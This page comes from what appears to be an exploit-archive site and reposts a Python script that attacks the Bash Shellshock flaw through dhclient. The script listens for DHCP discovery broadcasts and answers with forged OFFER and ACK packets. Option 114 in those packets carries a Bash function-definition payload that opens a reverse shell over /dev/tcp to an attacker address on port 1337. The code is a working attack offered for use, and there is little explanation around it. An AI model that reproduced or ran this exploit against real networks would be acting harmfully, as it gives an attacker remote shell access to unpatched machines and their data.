首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
GNU bash 4.3.11 Environment Variable dhclient Exploit
来源:vfocus.net 作者:@0x00string 发布时间:2014-10-08  

#!/usr/bin/python
# Exploit Title: dhclient shellshocker
# Google Dork: n/a
# Date: 10/1/14
# Exploit Author: @0x00string
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
# Version: 4.3.11
# Tested on: Ubuntu 14.04.1
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187
#  ______        ______  ______                 _                 
# / __   |      / __   |/ __   |     _         (_)                
#| | //| |_   _| | //| | | //| | ___| |_   ____ _ ____   ____  ___
#| |// | ( \ / ) |// | | |// | |/___)  _) / ___) |  _ \ / _  |/___)
#|  /__| |) X (|  /__| |  /__| |___ | |__| |   | | | | ( ( | |___ |
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_|   |_|_| |_|\_|| (___/
#                                                      (_____|    
#     _ _           _ _                 
#    | | |         | (_)            _   
#  _ | | | _   ____| |_  ____ ____ | |_ 
# / || | || \ / ___) | |/ _  )  _ \|  _)
#( (_| | | | ( (___| | ( (/ /| | | | |__
# \____|_| |_|\____)_|_|\____)_| |_|\___)                                       
#
#      _           _ _      _                 _               
#     | |         | | |    | |               | |              
#  ___| | _   ____| | | ___| | _   ___   ____| |  _ ____  ____
# /___) || \ / _  ) | |/___) || \ / _ \ / ___) | / ) _  )/ ___)
#|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| |   
#(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_|   

# this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts
# once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out
# The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability.
# can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example.

import socket, struct
def HexToByte( hexStr ):
    b = []
    h = ''.join( h.split(" ") )
    for i in range(0, len(h), 2):
        b.append( chr( int (h[i:i+2], 16 ) ) )
    return ''.join( b )

rport = 68
lport = 67

bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

bsock.bind(("<broadcast>", lport))

while True:

 OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114
 URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex")
 URLLEN = chr(len(URL) / 2).encode("hex")
 END = "03040a000001ff"
 broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048)
 hexip = broadcast_get[245:249]
 rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3]))
 XID = broadcast_get[4:8].encode("hex")
 chaddr = broadcast_get[29:34].encode("hex")
 print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n"
 OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
 OFFER_BYTES = HexToByte(OFFER)
 ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
 ACK_BYTES = HexToByte(ACK)
 print "[+]\tsending evil offer\n"
 sock.sendto(OFFER_BYTES, (rhost, rport))
 broadcast_get2 = bsock.recvfrom(2048)
 print "[+]\tassuming request was received, sending ACK\n"
 sock.sendto(ACK_BYTES, (rhost, rport))


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Pure-FTPd External Authenticat
·Kolibri Webserver 2.0 Buffer O
·HP Network Node Manager I PMD
·Apache mod_cgi - Remote Exploi
·ManageEngine OpManager / Socia
·Postfix SMTP - Shellshock Expl
·Asx to Mp3 2.7.5 - Stack Overf
·OpenVPN 2.2.29 - ShellShock Ex
·XAMPP 1.8.x Multiple Vulnerabi
·Bash - CGI RCE (MSF) Shellshoc
·Ultra Electronics SSL VPN 7.2.
·IPFire Cgi Web Interface Authe
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved